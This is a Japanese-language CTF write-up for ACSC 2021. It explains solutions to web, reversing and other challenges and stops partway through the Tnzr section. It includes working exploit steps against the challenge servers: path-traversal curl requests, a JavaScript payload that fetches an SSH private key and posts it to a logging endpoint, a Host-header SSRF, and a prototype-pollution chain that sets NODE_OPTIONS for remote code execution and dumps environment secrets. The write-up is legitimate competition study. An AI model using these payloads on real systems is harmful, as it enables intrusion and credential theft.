9/18 - 9/19という日程で開催された。このCTFは個人戦で、総合順位は4位、(今年の1/1時点で25歳以下であり、アジアの一部の国の国籍を持つという)決勝大会への参加資格を持つ人の中では2位だった。日本国内でも2位で、来年の6月にアテネで開催される予定の決勝大会にたぶん参加できるらしく嬉しい。
- [Warmup 1] welcome (429 solves)
- [Web 220] API (107 solves)
- [Web 230] Baby Developer (18 solves)
- [Web 330] Favorite Emojis (46 solves)
- [Web 370] Cowsay as a Service (33 solves)
- [Rev 170] sugar (26 solves)
- [Rev 220] Pickle Rick (23 solves)
- [Rev 270] encoder (23 solves)
- [Rev 360] Tnzr (10 solves)
- [Pwn 100] filtered (168 solves)
- [Pwn 200] histogram (38 solves)
- [Forensics 140] NYONG Coin (26 solves)
- [Crypto 100] RSA stream (121 solves)
[Warmup 1] welcome (429 solves)
Discordサーバに入るとフラグが得られた。いつものやつ。
ACSC{welcome_to_ACSC_2021!}
[Web 220] API (107 solves)
与えられたURLにアクセスするとログインフォームが表示される。通常利用できる機能はユーザの登録、ログイン、ログアウトのみ。
function main($acc){
gen_user_db($acc);
gen_pass_db();
header("Content-Type: application/json");
$user = new User($acc);
$cmd = $_REQUEST['c'];
usleep(500000);
switch($cmd){
case 'i':
if (!$user->signin())
echo "Wrong Username or Password.\n\n";
break;
case 'u':
if ($user->signup())
echo "Register Success!\n\n";
else
echo "Failed to join\n\n";
break;
case 'o':
if ($user->signout())
echo "Logout Success!\n\n";
else
echo "Failed to sign out..\n\n";
break;
}
challenge($user);
}
adminになれれば、以下のコードからわかるようにユーザ一覧の取得やある文字列がフラグであるかどうかの確認などの機能も利用できるようになる。adminでなければ /api.php にリダイレクトされる。
function challenge($obj){
if ($obj->is_login()) {
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
switch($cmd){
case "gu":
echo json_encode($admin->export_users());
break;
case "gd":
echo json_encode($admin->export_db($_REQUEST['db']));
break;
case "gp":
echo json_encode($admin->get_pass());
break;
case "cf":
echo json_encode($admin->compare_flag($_REQUEST['flag']));
break;
}
}
}
}
が、redirect の実装を見ると exit もしくは die が呼び出されておらず、以降の処理も続けて実行されてしまうため、結局のところadminでもadminでなくてもadmin向けの export_users などのメソッドが呼び出せてしまうことがわかる。
public function redirect($url, $msg=''){
$con = "<script type='text/javascript'>".PHP_EOL;
if ($msg) $con .= "\talert('%s');".PHP_EOL;
$con .= "\tlocation.href = '%s';".PHP_EOL;
$con .= "</script>".PHP_EOL;
header("location: ".$url);
if ($msg) printf($con, $msg, $url);
else printf($con, $url);
}
admin向けの機能である export_db の実装を確認する。指定したファイルを読み込んで返してくれる機能のようだ。is_pass_correct が呼ばれていることからわかるように $this->db['path'] の内容を pas というGETパラメータから与えないといけないが、まさにそれを返してくれる get_pass もadmin向けの機能として呼び出せてしまう。
public function export_db($file){
if ($this->is_pass_correct()) {
$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
$path .= "db".DIRECTORY_SEPARATOR;
$path .= $file;
$data = file_get_contents($path);
$data = explode(',', $data);
$arr = [];
for($i = 0; $i < count($data); $i++){
$arr[] = explode('|', $data[$i]);
}
return $arr;
}else
return "The passcode does not equal with your input.";
}
// …
public function is_pass_correct(){
$passcode = $this->get_pass();
$input = $_REQUEST['pas'];
if ($input == $passcode) return true;
}
// …
public function get_pass(){
return file_get_contents($this->db['path']);
}
ユーザ登録 → get_pass からadmin向けの機能を利用するためのパスワードを取得 → export_db から /flag を取得という流れでフラグが得られた。
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=u"
Register Success!
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&c2=gp"
<script type='text/javascript'>
location.href = '/api.php?#access denied';
</script>
":<vNk"
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&pas=:<vNk&c2=gd&db=../../../../../flag"
<script type='text/javascript'>
location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
[Web 230] Baby Developer (18 solves)
/ にアクセスするとフラグを返すWebサーバが動いている genflag、HTTPサーバとSSHサーバが動いており、後者にログインすると genflag にアクセスできフラグが得られる website、Redisサーバが動く redis、メインのWebサーバである mobile-viewer の4つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは website のSSHサーバと mobile-viewer のみだ。
mobile-viewer を見ていく。これはURLを与えるとChromiumでアクセスし、16x16のサイズでスクリーンショットを撮影して返してくれる。一応 genflag にもアクセスさせられるが、genflag 側では以下のように User-Agent に iPhone が含まれていないか確認されているし、mobile-viewer によるアクセスはまさにその条件に当てはまってしまうのでダメ。
@app.route('/flag') def hello_world(): if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'): fp = open('/flag', 'r') flag = fp.read() return flag else: return "Nope.."
website を見ていく。ソースコードとして以下のような Dockerfile が与えられている。鍵の生成などのSSHのための設定を行った後にSSHサーバを立ち上げ、stypr/harold.kim をcloneしてきてWebサーバを立ち上げている。リポジトリの package.json を見るにVitepressを使っているらしい。
FROM node:lts-buster WORKDIR /srv/ RUN apt-get update && apt-get -y install ssh # For remote ssh from the library PC RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \ mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \ cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys # Challenge: get flag! RUN touch /home/stypr/.hushlogin && \ echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \ gcc -o /home/stypr/readflag /home/stypr/readflag.c && \ chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c # Run dev version of harold.kim RUN git clone https://github.com/stypr/harold.kim RUN cd harold.kim && yarn install CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]
Viteのissueを眺めていると、/@fs/etc/passwd のような感じでPath Traversalができるという脆弱性があるらしいことがわかった。試しにローカル環境で mobile-viewer でシェルを立ち上げて curl http://website/@fs//home/stypr/.ssh/id_rsa してみるとSSH用の秘密鍵が得られてしまった。
さて、これをChromiumで行うにはどうすればよいだろうか。16x16の小さなスクリーンショットではろくな情報が得られない。iframe で開かせてCSSに position: absolute や top、left などを設定して位置を調整し、1~2文字ずつ抽出する手が考えられる。が、1分に6回までしか抽出できない制約がありつらい。
website が返すヘッダをよく見ると、Access-Control-Allow-Origin: * が付いていた。これなら違うオリジンからも内容が取得できてしまう。スクリーンショットはいらなかった。次のようなHTMLを用意して mobile-viewer のChromiumにアクセスさせる。すると、log.php に秘密鍵がPOSTされた。
<script> (async () => { const r = await fetch('http://website/@fs//home/stypr/.ssh/id_rsa', { mode: "cors" }); const t = await r.text(); navigator.sendBeacon('log.php', t); })(); </script>
この秘密鍵を使って website のSSHサーバにログインするとフラグが得られた。
$ chmod 600 id_rsa
$ ssh stypr@baby-developer.chal.acsc.asia -p2222 -i id_rsa
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}
Connection to baby-developer.chal.acsc.asia closed.
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}
[Web 330] Favorite Emojis (46 solves)
web (nginx) と api、renderer (tvanro/prerender-alpine) という3つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは web だけで、これは以下のような設定で動いている。User-Agent にbotっぽい文字列が含まれていれば renderer に見に行かせるらしい。
server {
listen 80;
root /usr/share/nginx/html/;
index index.html;
location / {
try_files $uri @prerender;
}
location /api/ {
proxy_pass http://api:8000/v1/;
}
location @prerender {
proxy_set_header X-Prerender-Token YOUR_TOKEN;
set $prerender 0;
if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
set $prerender 1;
}
if ($args ~ "_escaped_fragment_") {
set $prerender 1;
}
if ($http_user_agent ~ "Prerender") {
set $prerender 0;
}
if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
set $prerender 0;
}
if ($prerender = 1) {
rewrite .* /$scheme://$host$request_uri? break;
proxy_pass http://renderer:3000;
}
if ($prerender = 0) {
rewrite .* /index.html break;
}
}
}
Host ヘッダに example.com を入れてHTTPリクエストを送ると /$scheme://$host$request_uri? にそのまま展開され、renderer が取ってきた example.com のコンテンツを返す。フラグは以下からわかるように api の / が返すから、renderer を api:3000 にアクセスさせたい。一方で、nginxの設定のrewriteルールを見ればわかるようにポート番号は挿入されないから、Host: api:3000 のようなヘッダを送るだけではアクセスさせられない。
FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}" app = Flask(__name__) emojis = [] @app.route("/", methods=["GET"]) def root(): return FLAG
色々試していると、api:3000 のように : をU+FF1Aに変えるだけでバイパスできた。
$ curl --path-as-is -H "User-Agent: googlebot" http://favorite-emojis.chal.acsc.asia:5000 -H "Host: api:8000"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
ACSC{sharks_are_always_hungry}
[Web 370] Cowsay as a Service (33 solves)
名前を入力すると cowsay を使って牛に喋ってもらえる便利なアプリケーションが与えられる。文字の色も変えられるなど、機能が充実している。

文字色の変更は以下のAPIを使って行われている。/setting/color に {"value":"#ff0000"} のようなJSONを投げると、settings という変数から現在ログインしているユーザの設定を引っ張り出してきて、そこに書き込むらしい。ユーザ名のチェックはまったくないので、例えばユーザ名が __proto__ である場合には settings[ctx.state.user] が Object.prototype を返し、さらに setting[ctx.params.name] = ctx.request.body.value で Object.prototype[name] = value 相当のことができる。Prototype Pollutionだ。
const settings = {}; // … router.post('/setting/:name', (ctx, next) => { if (!settings[ctx.state.user]) { settings[ctx.state.user] = {}; } const setting = settings[ctx.state.user]; setting[ctx.params.name] = ctx.request.body.value; ctx.redirect('/cowsay'); });
使えるgadgetがないか調べていると、Kibanaで発見されたCVE-2019-7609の記事がヒットした。この記事では child_process.spawn から呼び出されている normalizeSpawnArguments 内に const env = options.env || process.env; という処理があるために、Object.prototype.env にオブジェクトを入れておけばOSコマンドの実行時に環境変数を操作できてしまうというgadgetが使われている。このWebアプリケーションでも child_process.spawnSync が cowsay の呼び出しに使われているから利用できそうだ。
ほかにもこの関数にgadgetがないか探していると、options.shell を参照している処理が見つかった。Object.prototype.shell に /usr/local/bin/node を、Object.prototype.env は先ほどの記事を参考に {"AAA":"(コード)","NODE_OPTIONS":"--require /proc/self/environ"} を入れればRCEに持ち込めるはずだ。
フラグは環境変数にある。child_process.spawnSync から呼び出されたNode.jsは環境変数が汚れてしまっているので、別のプロセスの /proc/…/environ を読んでしまえばよい。
$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/shell' \
-H 'Content-Type: application/json' \
-H 'Cookie: username=__proto__' \
--data-raw '{"value":"/usr/local/bin/node"}'
Redirecting to <a href="/cowsay">/cowsay</a>.
$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/env' \
-H 'Content-Type: application/json' \
-H 'Cookie: username=__proto__' \
--data-raw '{"value":{"AAA":"console.log(require(`fs`).readFileSync(`/proc/1/environ`).toString())//","NODE_OPTIONS":"--require /proc/self/environ"}}'
Redirecting to <a href="/cowsay">/cowsay</a>.
$ curl "http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/cowsay?say=a" --output -
…
<pre style="color: #000000" class="cowsay">
NODE_VERSION=16.9.1HOSTNAME=38ee80afc568YARN_VERSION=1.22.5HOME=/home/nodeCS_USERNAME=hemwIdPEaGRqLSYTPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCS_PASSWORD=FqPkMVJuBvsHypGfPWD=/usr/src/appFLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}
</pre>
ACSC{(oo)<Moooooooo_B09DRWWCSX!}
[Rev 170] sugar (26 solves)
disk.img や OVMF.fd などのファイルが与えられた。指示通りQEMUで実行してみると、以下のようにフラグを入力せよと言われた。disk.img にはUEFIアプリケーションが含まれており、これを解析する問題らしい。
$ qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic Input flag:
適当なバイナリエディタで disk.img を開き、MZ で検索するとUEFIアプリケーションのPEが抽出できる。IDA Freewareで静的解析していく。このPEに含まれる文字列を見ていると、Correct! やら Input flag: やら怪しいものがあった。どれも同じ関数から参照されており、おそらくそこでフラグがチェックされているのだろう。

この関数では、まず入力を求めた後に、それが38文字であり、ACSC{ と } で囲まれていることを確認している。しばらくよくわからない処理が続くが、失敗するとAesInit や AesCbcEncrypt といった文字列を含むエラーメッセージを吐くところからAESで何かしらを復号しているのだろうと推測できる。

最後にユーザ入力の6文字目以降から32文字を切り取り、おそらくそれを16進数表記として解釈してデコードした上で var_450 と比較している。

この var_460 に何が入るか確認したい。QEMUのコマンドラインオプションに -s -S を加え、gdb で接続する。Wrong! と出力するか Correct! と出力するかが決まる jz にブレークポイントを設定した上で continue させる。
$ ./qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic -s -S
$ gdb target remote localhost:1234 b *0x0000000006668627 c
$rbp-0x450 を見てみると、以下のようなバイト列が入っていた。これをhexエンコードして ACSC{} で囲めばフラグになる。
(gdb) x/16bx $rbp-0x450 0x7ea4500: 0x91 0xe3 0xde 0x70 0x5d 0xee 0x88 0x1d 0x7ea4508: 0xcb 0xa8 0x4e 0x84 0x0f 0xeb 0x0e 0x24
ACSC{91e3de705dee881dcba84e840feb0e24}
[Rev 220] Pickle Rick (23 solves)
chal.py という以下のPythonコードと、rick.pickle というファイルが与えられる。3.9以上のPythonで実行すると rick.pickle をunpickleするようだ。
# /usr/bin/env python3 import pickle import sys # Check version >= 3.9 if sys.version_info[0] != 3 or sys.version_info[1] < 9: print("Check your Python version!") exit(0) # This function is truly amazing, so do not fix it! def amazing_function(a, b, c=None): if type(b) == int: return a[b] else: return ( f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!" ) with open("rick.pickle", "rb") as f: pickle_rick = f.read() rick_says = b"Wubba lubba dub-dub!!" # What is the right input here? assert type(rick_says) == bytes and len(rick_says) == 21 pickle.loads(pickle_rick)
とりあえず実行してみると以下のように出力された。chal.py の rick_says に格納した文字列が合っているかどうかチェックしてくれるらしい。
root@13346db59d34:~# python chal.py ... Pickle Rick says: b'Wubba lubba dub-dub!!' The flag machine says: WRONG!
rick.pickleを読む
まず rick.pickle を pickletools で逆アセンブルする。
import pickletools with open('rick.pickle', 'rb') as f: s = f.read() pickletools.dis(s)
逆アセンブルされたコードを見ていくと、最初にいくつかのメッセージを print している様子が確認できる。
0: c GLOBAL 'builtins print' 16: T BINSTRING '\n...' 17122: \x85 TUPLE1 17123: R REDUCE 17124: c GLOBAL 'builtins print' 17140: S STRING 'Pickle Rick says:' 17161: \x85 TUPLE1 17162: R REDUCE 17163: c GLOBAL 'builtins print' 17179: c GLOBAL '__main__ rick_says' 17199: \x85 TUPLE1 17200: R REDUCE 17201: c GLOBAL 'builtins print' 17217: S STRING 'The flag machine says:' 17243: \x85 TUPLE1 17244: R REDUCE
その後に複雑なタプルの定義が続く。
17245: J BININT 115 17250: \x85 TUPLE1 17251: J BININT 99 17256: \x85 TUPLE1 17257: \x86 TUPLE2 17258: J BININT 97 17263: \x85 TUPLE1 17264: J BININT 162 17269: \x85 TUPLE1 ... 19032: \x86 TUPLE2 19033: \x86 TUPLE2 19034: \x86 TUPLE2 19035: \x86 TUPLE2 19036: \x94 MEMOIZE (as 0)
その後 type(amazing_function) と type(getattr(amazing_function, '__code__')) によって function と code を取り出している。それらを利用して search と mix という謎の関数を定義している。
19038: c GLOBAL 'builtins type' 19053: c GLOBAL '__main__ amazing_function' 19080: \x85 TUPLE1 19081: R REDUCE 19082: c GLOBAL 'builtins type' 19097: c GLOBAL 'builtins getattr' 19115: c GLOBAL '__main__ amazing_function' 19142: S STRING '__code__' 19154: \x86 TUPLE2 19155: R REDUCE 19156: \x85 TUPLE1 19157: R REDUCE
19158: ( MARK 19159: J BININT 2 19164: J BININT 0 19169: J BININT 0 19174: J BININT 5 19179: J BININT 6 19184: J BININT 67 19189: B BINBYTES b'd\x01}\x02zB|\x00\\\x02}\x03}\x04|\x01d\x02\x16\x00|\x02k\x02r0|\x04}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02n\x14|\x03}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02W\x00q\x04\x01\x00\x01\x00\x01\x00|\x00d\x01\x19\x00\x06\x00Y\x00S\x000\x00q\x04d\x00S\x00' 19292: ( MARK ... 19417: R REDUCE 19418: } EMPTY_DICT 19419: \x86 TUPLE2 19420: R REDUCE 19421: \x94 MEMOIZE (as 1)
rick_says を取り出して mix した後に、tuple(search((複雑なタプル), x) for x in mix(rick_says)) のような感じでその要素をひとつずつ search に投げて、その結果をタプルとして取得している。
19873: c GLOBAL '__main__ rick_says' 19893: \x85 TUPLE1 19894: R REDUCE 19895: \x94 MEMOIZE (as 2) 19896: 0 POP 19897: c GLOBAL 'builtins print' 19913: c GLOBAL '__main__ amazing_function' 19940: ( MARK 19941: g GET 1 19944: g GET 0 19947: c GLOBAL '__main__ amazing_function' 19974: g GET 2 19977: J BININT 0 19982: \x86 TUPLE2 19983: R REDUCE 19984: \x86 TUPLE2 19985: R REDUCE ... 20886: t TUPLE (MARK at 19940)
そのタプルと (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) が一致していればOKなようだ。
20887: ( MARK 20888: J BININT 53 20893: J BININT 158 20898: J BININT 33 20903: J BININT 115 20908: J BININT 5 20913: J BININT 17 20918: J BININT 103 20923: J BININT 3 20928: J BININT 67 20933: J BININT 240 20938: J BININT 39 20943: J BININT 27 20948: J BININT 19 20953: J BININT 68 20958: J BININT 81 20963: J BININT 107 20968: J BININT 245 20973: J BININT 82 20978: J BININT 130 20983: J BININT 159 20988: J BININT 227 20993: t TUPLE (MARK at 20887) 20994: c GLOBAL '__main__ rick_says' 21014: \x87 TUPLE3 21015: R REDUCE 21016: \x85 TUPLE1 21017: R REDUCE 21018: . STOP
searchとmixを読む
search と mix はバイトコードしか与えられていない。uncompyle6でデコンパイルしてみようとしたが、どうやら対応していない命令が含まれているらしくできない。Pythonの公式ドキュメントの命令一覧を見ながら手でデコンパイルする。以下のようなPythonコードを使ってすぐにバイトコードを逆アセンブルした結果が見られるようにしておくと便利。
import dis def search(a, b): return None dis.dis(search)
c = pickle.loads(s[19038:19418] + b'.') で code オブジェクトを作成する処理だけ切り抜いてunpickleしてやれば、c.co_varnames や c.co_consts から変数名や定数などの情報も得られる。これらの情報をもとに根性でデコンパイルすると以下のようになった。
def mix(a): ln = a.__len__() arr = [] i = 0 while i < ln: s, j = (0, 0) while j < ln: s += (j + 1) * a[(i + j) % ln] j += 1 s %= 257 arr.append(s) i += 1 return arr def search(a, b): c = 0 while True: try: a0, a1 = a if b % 2 == c: a = a1 b //= 2 c = 1 - c else: a = a0 b //= 2 c = 1 - c except: return a[0]
あとはソルバを書いて実行するだけ。
from z3 import * def amazing_function(a, b, c=None): if type(b) == int: return a[b] else: return ( f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!" ) def mix(a): ln = a.__len__() arr = [] i = 0 while i < ln: s, j = (0, 0) while j < ln: s += (j + 1) * a[(i + j) % ln] j += 1 s %= 257 arr.append(s) i += 1 return arr xx = (((((((((115,), (99,)), ((97,), (162,))), (((81,), (225,)), ((215,), (72,)))), ((((111,), (229,)), ((64,), (155,))), (((212,), (66,)), ((95,), (200,))))), (((((177,), (45,)), ((206,), (18,))), (((140,), (47,)), ((122,), (19,)))), ((((186,), (123,)), ((91,), (94,))), (((26,), (104,)), ((119,), (88,)))))), ((((((44,), (82,)), ((58,), (139,))), (((193,), (101,)), ((209,), (213,)))), ((((65,), (16,)), ((164,), (124,))), (((150,), (149,)), ((132,), (1,))))), (((((79,), (236,)), ((131,), (196,))), (((113,), (194,)), ((185,), (4,)))), ((((107,), (36,)), ((181,), (218,))), (((120,), (40,)), ((142,), (11,))))))), (((((((183,), (129,)), ((51,), (125,))), (((6,), (222,)), ((13,), (161,)))), ((((141,), (109,)), ((100,), (175,))), (((153,), (252,)), ((117,), (127,))))), (((((54,), (156,)), ((62,), (167,))), (((160,), (198,)), ((152,), (211,)))), ((((178,), (21,)), ((73,), (214,))), (((253,), (135,)), ((105,), (190,)))))), ((((((85,), (12,)), ((243,), (34,))), (((137,), (233,)), ((128,), (228,)))), ((((151,), (8,)), ((247,), (92,))), (((60,), (174,)), ((138,), (114,))))), (((((130,), (169,)), ((15,), (103,))), (((230,), (106,)), ((158,), (57,)))), ((((76,), (5,)), ((84,), (210,))), (((32,), (39,)), ((165,), (87,)))))))), ((((((((184,), (237,)), ((28,), (207,))), (((75,), (172,)), ((176,), (231,)))), ((((37,), (195,)), ((232,), (182,))), (((25,), (201,)), ((188,), (61,))))), (((((163,), (251,)), ((227,), (2,))), (((46,), (35,)), ((71,), (250,)))), ((((246,), (38,)), ((136,), (255,))), (((199,), (29,)), ((20,), (242,)))))), ((((((238,), (126,)), ((17,), (179,))), (((148,), (220,)), ((240,), (86,)))), ((((59,), (145,)), ((80,), (189,))), (((224,), (170,)), ((24,), (143,))))), (((((0,), (10,)), ((166,), (77,))), (((41,), (203,)), ((31,), (90,)))), ((((239,), (191,)), ((197,), (112,))), (((159,), (118,)), ((157,), (244,))))))), (((((((226,), (216,)), ((43,), (49,))), (((70,), (93,)), ((50,), (78,)))), ((((7,), (208,)), ((96,), (202,))), (((89,), (108,)), ((168,), (235,))))), (((((3,), (254,)), ((146,), (55,))), (((9,), (180,)), ((241,), (121,)))), ((((98,), (110,)), ((68,), (83,))), (((63,), (42,)), ((69,), (52,)))))), ((((((30,), (221,)), ((27,), (248,))), (((33,), (147,)), ((205,), (14,)))), ((((56,), (116,)), ((173,), (192,))), (((53,), (74,)), ((234,), (223,))))), (((((154,), (67,)), ((187,), (217,))), (((23,), (134,)), ((171,), (102,)))), ((((22,), (204,)), ((249,), (245,))), (((219,), (144,)), ((48,), (133,))))))))) def search(a, b): c = 0 while True: try: a0, a1 = a if b % 2 == c: a = a1 b //= 2 c = 1 - c else: a = a0 b //= 2 c = 1 - c except: return a[0] flag = [Int(f'x_{i}') for i in range(21)] solver = Solver() for c in flag: solver.add(0x20 <= c, c < 0x7f) rick_says = mix(flag) tmp = [] target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) for x in target: for y in range(256): r = search(xx, y) if r == x: tmp.append(y) break print(tmp) for c, d in zip(tmp, rick_says): solver.add(c == d) c = solver.check() print(c) m = solver.model() res = '' for c in flag: res += chr(m[c].as_long()) print(res)
実行してしばらく待つとフラグが得られた。
$ python solve.py ... YEAH!I'm_pickle-RICK!
ACSC{YEAH!I'm_pickle-RICK!}
[Rev 270] encoder (23 solves)
encoder というELFと、それによって暗号化されたらしき flag.jpg.enc というファイルが与えられる。以下の実行結果から推測できるように、どのように暗号化されるかは毎秒変わる。
$ echo AAAABBBBCCCCAAAA > test.txt $ ./encoder test.txt; date; xxd test.txt.enc Sun Sep 19 13:48:06 UTC 2021 00000000: 1c08 0381 2070 040e 0081 2010 0402 4080 .... p.... ...@. 00000010: 0814 8102 5020 0a04 81c0 1038 0207 e040 ....P .....8...@ 00000020: 1001 $ ./encoder test.txt; date; xxd test.txt.enc Sun Sep 19 13:48:10 UTC 2021 00000000: 0004 8000 1000 0200 c040 1808 0301 2060 .........@.... ` 00000010: 0408 0081 2010 0402 4000 0800 0100 0020 .... ...@...... 00000020: 0c0d .. $ ./encoder test.txt; date; xxd test.txt.enc Sun Sep 19 13:48:10 UTC 2021 00000000: 0004 8000 1000 0200 c040 1808 0301 2060 .........@.... ` 00000010: 0408 0081 2010 0402 4000 0800 0100 0020 .... ...@...... 00000020: 0c0d ..
まずIDA Freewareで静的解析を試みたが、main 関数は以下のように mprotect を呼び出した後に無効な命令を実行してしまうようだ。

よくバイナリを見ると、.init_array セクションでいくつもアドレスが登録されている。2つ目の関数を見てみると、以下のように sigaction で 4 というシグナルを受信した際に別の関数が呼び出されるように設定されていることがわかる。4 は SIGILL だ。main の最後に無効な命令が置かれていたのは、この関数を呼び出させるためだろう。

ほかにも色々な解析妨害が施されており面倒だ。別の方法でバイナリの挙動を探る。
試しに rand を差し替えてみる。まず以下のCコードを gcc -shared -fPIC rand.c -o rand.so でコンパイルする。NYAN=123 LD_PRELOAD=./rand.so ./encoder a.txt を何度も実行しても出力された a.txt.enc の内容は変わらない。暗号化のアルゴリズムは rand に依存しているようだ。
#include <stdlib.h> int rand(void) { return atoi(getenv("NYAN")); }
ltrace で関数の呼び出しを見てみると、rand は一度しか呼び出されていないことがわかる。.init_array に登録されていた関数内のアレだろう。あの関数では rand() % 255 と剰余が取られていた。255通りなら総当たりできる。それで flag.jpg.enc が暗号化されたときの rand の返り値が特定できないか試してみる。
適当なJPEGを用意し、最初の数バイトを切り出す。続いて、for x in {0..254}; do NYAN=$x LD_PRELOAD=./rand.so ./encoder dummy.jpg; cp -p dummy.jpg.enc dust/$x.enc; done で255通りの暗号化を試す。以下のPythonスクリプトでそれらのファイルと flag.jpg.enc の最初の数バイトを比較してやると、flag.jpg.enc が暗号化されたときの rand() % 255 は80であるとわかった。
import glob with open('flag.jpg.enc', 'rb') as f: s = f.read() for fn in glob.glob('tmp/*'): with open(fn, 'rb') as f: t = f.read() if t == s[:len(t)]: print(fn)
$ python3 check.py tmp/80.enc
これを使って、なんとか復号できないだろうか。暗号化のアルゴリズムを探っていく。同じ文字が続くテキストファイルの暗号化を試していると、以下のようにファイルは1バイトずつ暗号化されて、1バイトにつき2バイトが出力されていることがわかる。どのように暗号化されるかはその文字の位置だけが影響し、直前の文字などは影響しない。また、それも16バイトでループする。
$ echo "AAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc 00000000: 181d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8 ....`t....:0.F.. 00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000030: 1d14 03a3 6074 8c0e d181 3a30 0505 ....`t....:0.. $ echo "BAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc 00000000: 141d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8 ....`t....:0.F.. 00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0 ....t`....0:F... 00000030: 1d14 03a3 6074 8c0e d181 3a30 0505 ....`t....:0..
つまり、0から255までの値についてそれぞれ16通りの暗号化を試してテーブルを作成すれば、flag.jpg.enc の元のファイルが得られるはずだ。Pythonスクリプトを書く。
import os payload = b'' for x in range(256): payload += bytes([x]) * 16 with open('tmp.bin', 'wb') as f: f.write(payload) os.system('NYAN=80 LD_PRELOAD=./rand.so ./encoder tmp.bin') table = {} with open('tmp.bin.enc', 'rb') as f: for x in range(16): table[x] = {} for y in range(256): f.seek(32 * y + 2 * x) table[x][f.read(2)] = y with open('flag.jpg.enc', 'rb') as f: i = 0 res = b'' while True: print(i) x = f.read(2) if x == b'': break res += bytes([table[i % 16][x]]) i += 1 with open('flag.jpg', 'wb') as f: f.write(res)
実行すると flag.jpg.enc の元のファイルが取得でき、フラグが得られた。

ACSC{it is too easy to recover this stuff, huh?}
[Rev 360] Tnzr (10 solves)
Windowsの実行ファイルが与えられる。実行すると次のような15x15のビンゴカードが表示される。適当に操作していると、WASDでカーソルの移動が、スペースキーでカーソルが指しているマスをうずまき → 目 → 何もなしに変えられることがわかる。

Nで次のビンゴカードに移動し、Cですべてのビンゴカードが正しい配置になっているかまとめてチェックされる。Cキーでのチェック時にどこかが間違っていれば以下のようにWRONGと表示される。ちなみに、ビンゴカードは全部で35枚ある。

IDA Freewareで解析するとSDLが使われていることがわかる。WinMain からメインループを追ったり、キーボードの状態を取得する関数である SDL_GetKeyboardState のxrefsからWASDが押されたかどうかのチェックなどをしている関数(0x1400015E0)を特定していくと、ビンゴカードのデータが格納されているらしきアドレス(0x1400172D0)も特定できる。

その関数の最後で呼び出されている関数も見てみると、以下のようにビンゴカードが1行ずつ謎の比較がされておりかなり怪しい。ビンゴカードが正しい配置になっているか確認する関数だろう。

雑にPythonで書き直して、Z3Pyでソルバを作る。
